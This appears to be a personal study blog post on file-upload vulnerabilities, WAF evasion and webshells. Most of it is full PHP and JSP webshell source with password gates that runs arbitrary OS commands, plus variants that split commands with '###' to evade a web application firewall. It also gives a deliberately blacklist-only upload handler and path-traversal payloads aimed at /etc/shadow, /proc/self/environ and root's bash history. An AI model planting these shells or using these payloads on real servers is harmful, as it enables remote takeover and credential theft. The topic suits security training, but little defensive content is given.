Vulnerability of File Uploading / WAF / Webshell [21 March]

William Lee·2025년 3월 21일

Tomcat Installation on MacOS

https://eunoia3jy.tistory.com/31

Vulnerability of File Uploading

Upload

WebShell

Webshell codes for each language

LanguageFunction
PHPpassthru, system, `(backtick), execl, popopen, escapeshellcmd, eval, shell_exec, asser ...
JSPRuntime.getRuntime().exec(""), processBuilder("")
ASPCreateObject("wscript.shell").exec("cmd /c" & cmd), eval, Execute ...
ASPXWinExec(), ShellExecute() ...

PHP webshell

<?
    session_start();
    ini_set('display_errors', '0');
    // var_dump( $_SESSION );
    $password = "63a9f0ea7bb98050796b649e85481845"; //root
    $input_password = $_POST["password"];
    $page = $_SERVER["PHP_SELF"];
    $cmd = $_POST["cmd"];

    if(empty($_SESSION["webshell_id"]) && empty($input_password)) {
        ?>
        <form action="<?=$page?>" method="POST">
            <input type="password" name="password">
            <input type="submit" value="AUTH">
        </form>
        <?
        exit();
    } else if(empty($_SESSION["webshell_id"]) && !empty($input_password)) {
        if($password == md5($input_password)) {
            $_SESSION["webshell_id"] = "success";
            echo "<script>location.href='{$page}'</script>";
            exit();
        } else {
            echo "<script>location.href='{$page}'</script>";
            exit();
        }
    } 

    if(!empty($cmd)) {
        $result = shell_exec($cmd);
        $result = str_replace("\n", "<br>", $result);
    }
?>

<form action="<?=$page?>" method="POST">
    <input type="text" name="cmd" value="<?= $cmd ?>">
    <input type="submit" value="EXECUTE">
</form>

<hr>
<? if(!empty($cmd)) {?>
<table style="border: 1px solid black; background-color: black">
    <tr>
        <td style="color: white; font-size: 18px"><?=$result?></td>
    </tr>
</table>
<? } ?>

JSP Webshell

<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.io.*" %>

<%@
    String cmd = request.getParameter("cmd");
    Process ps = null;
    BufferedReader br = null;
    String line = "";
    String result = "";
    String now_page = request.getServletPath();
    String password = "root";
    String input_password = request.getParameter("password");
    String id = (String)session.getAttribute("webshell_id");
    String os = System.getProperty("os.name").toLowerCase();
    String shell = "";

    try {
        if (id == null && input_password == null) {
            %>
            <form action="" method="POST">
                <input type="password" name="password">
                <input type="submit" value="AUTH">
            </form>
            <%
            return;
        } else if (id == null && input_password != null) {
            if (password.equals(input_password)) {
                session.setAttribute("webshell_id", "success");
                response.sendRedirect(now_page);
            } else {
                response.sendRedirect(now_page);
            }
        }
        
        if (os.indexOf("win") == -1) {
            shell = "/bin/sh -c";
        } else {
            shell = "cmd.exe /c";
        }

        if (cmd != null) {
            ps = Runtime.getRuntime().exec(shell + cmd);
            //  Byte Stream > String stream > Buffer
            br = new BufferedReader(new InputStreamReader(ps.getInputStream()));

            while(line = br.readLine() != null) {
                result += line + "<br>";
            }
            ps.destroy();
        }
        
    } finally {
        if(br != null) br.close();
    }
%>

<form action="<%=now_page%>" method="POST">
    <input type="text" name="cmd">
    <input type="submit" value="EXECUTE">
</form>
<hr>
<% if (cmd != null) { %>
    <table style="border: 1px solid black; background-color: black">
        <tr>
            <td style="color: white; font-size: 18px"><%=result%></td>
        </tr>
    </table>
<% } %>

Bypass WAF with "###"

PHP Webshell

<?
    session_start();
    ini_set('display_errors', '0');
    // var_dump( $_SESSION );
    $password = "63a9f0ea7bb98050796b649e85481845"; //root
    $input_password = $_POST["password"];
    $page = $_SERVER["PHP_SELF"];
    $cmd = $_POST["cmd"];

    if(empty($_SESSION["webshell_id"]) && empty($input_password)) {
        ?>
        <form action="<?=$page?>" method="POST">
            <input type="password" name="password">
            <input type="submit" value="AUTH">
        </form>
        <?
        exit();
    } else if(empty($_SESSION["webshell_id"]) && !empty($input_password)) {
        if($password == md5($input_password)) {
            $_SESSION["webshell_id"] = "success";
            echo "<script>location.href='{$page}'</script>";
            exit();
        } else {
            echo "<script>location.href='{$page}'</script>";
            exit();
        }
    } 

    if(!empty($cmd)) {
        $cmd = str_replace("###", "", $cmd);
        $result = shell_exec($cmd);
        $result = str_replace("\n", "<br>", $result);
    }
?>
<script>
    // both onclick and Enter key work
    document.addEventListener("keydown", (event)=>{if(event.keyCode === 13) {cmdRequest()}});
    function cmdRequest() {
        var frm = document.frm;
        var cmd = frm.cmd.value;
        var enc_cmd = "";

        for (i = 0; i < cmd.length; i++) {
            enc_cmd += cmd.charAt(i) + "###";
        }
        frm.cmd.value = enc_cmd;
        frm.action = "<?=$page?>";
        frm.submit();
    }
</script>
<form name ="frm" method="POST">
    <input type="text" name="cmd" value="<?= $cmd ?>">
    <input type="button" onclick="cmdRequest();" value="EXECUTE">
</form>

<hr>
<? if(!empty($cmd)) {?>
<table style="border: 1px solid black; background-color: black">
    <tr>
        <td style="color: white; font-size: 18px"><?=$result?></td>
    </tr>
</table>
<? } ?>

JSP Webshell

<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.io.*" %>

<%@
    String cmd = request.getParameter("cmd");
    Process ps = null;
    BufferedReader br = null;
    String line = "";
    String result = "";
    String now_page = request.getServletPath();
    String password = "root";
    String input_password = request.getParameter("password");
    String id = (String)session.getAttribute("webshell_id");
    String os = System.getProperty("os.name").toLowerCase();
    String shell = "";

    try {
        if (id == null && input_password == null) {
            %>
            <form action="" method="POST">
                <input type="password" name="password">
                <input type="submit" value="AUTH">
            </form>
            <%
            return;
        } else if (id == null && input_password != null) {
            if (password.equals(input_password)) {
                session.setAttribute("webshell_id", "success");
                response.sendRedirect(now_page);
            } else {
                response.sendRedirect(now_page);
            }
        }

        if (os.indexOf("win") == -1) {
            shell = "/bin/sh -c";
        } else {
            shell = "cmd.exe /c";
        }

        if (cmd != null) {
            cmd = cmd.replace("###", "");
            ps = Runtime.getRuntime().exec(shell + cmd);
            //  Byte Stream > String stream > Buffer
            br = new BufferedReader(new InputStreamReader(ps.getInputStream()));

            while(line = br.readLine() != null) {
                result += line + "<br>";
            }
            ps.destroy();
        }
        
    } finally {
        if(br != null) br.close();
    }
%>
<script>
    document.addEventListner("keydown", (event)=>{if(event.keyCode === 13) {cmdRequest()}});
    function cmdRequest() {
        var frm = document.frm;
        var cmd = frm.cmd.value;
        var enc_cmd = "";

        for (i=0;i<cmd.length;i++) {
            enc_cmd += cmd.charAt(i) + "###";
        }

        frm.cmd.value = enc_cmd;
        frm.action = "<%=now_page%>";
        frm.submit();
    }
</script>

<form action="<%=now_page%>" method="POST">
    <input type="text" name="cmd">
    <input type="submit" value="EXECUTE">
</form>
<hr>
<% if (cmd != null) { %>
    <table style="border: 1px solid black; background-color: black">
        <tr>
            <td style="color: white; font-size: 18px"><%=result%></td>
        </tr>
    </table>
<% } %>

Target Enumeration

Target Environment Analysis

  1. OS
  2. Language

Bypassing Verification Logic

Extention Validation
1. Black List -> Library, Repository
2. White List -> image (allowed extention only)

<?
    header("Content-Type: text/html; charset-UTF-8");

    if(empty($_FILES["userfile"]["name"])) {
        echo "<script>alert('파일을 업로드 하세요!');history.back(-1);</script>";
        exit();
    }

    $filename = $_FILES["userfile"]["name"];
    $path = "./upload/";

    $file_info = pathinfo($path.$filename);
    $ext = strtolower($file_info["extension"]);
    $ext_arr = array("php", "php3", "php5", "html", "htm");

    if(in_array($ext, $ext_arr)) {
        echo "<script>alert('허용되지 않은 확장자 입니다!');history.back(-1);</script>";
        exit();
    }

    if(!move_uploaded_file($_FILES["userfile"]["tmp_name"], $path.$filename)) {
        echo "<script>alert('파일을 업로드에 실패하였습니다!');history.back(-1);</script>";
        exit();
    }
?>

<li>
    업로드 성공: <?=$path.$filename?>
</li>

NULL Byte Attack

GET, POST, Cookie, Parameter of file name

-> Secure coding

WAS Vulnerability

IIS Semi-colon(;)

IIS Directory Passing

Apache multi-extension

Image Validation

Image Type

Header Validation

Size Validation

File Size Validation

Oneline, Chopper

Identifying Upload Path

Via Vulnerability of Downloading

Via SQL Injection

Via Estimation and Inference

Via Error

When Upload Path Manipulation is Required

Target Searching

Feasibility Assessment

Path Manipulation

Scenario

Try

../../../../../../../upload.php
../../../../../../../download.php
../../../../../../../index.php
../../../../../../../index.jsp
../../../../../../../WEB-INF/web.xml
../../../../../../../etc/passwd
../../../../../../../etc/shadow
../../../../../../../proc/self/environ
../../../../../../../root/.bash_history

Detailed Defense Plan

profile
Cyber Security Graduate

0개의 댓글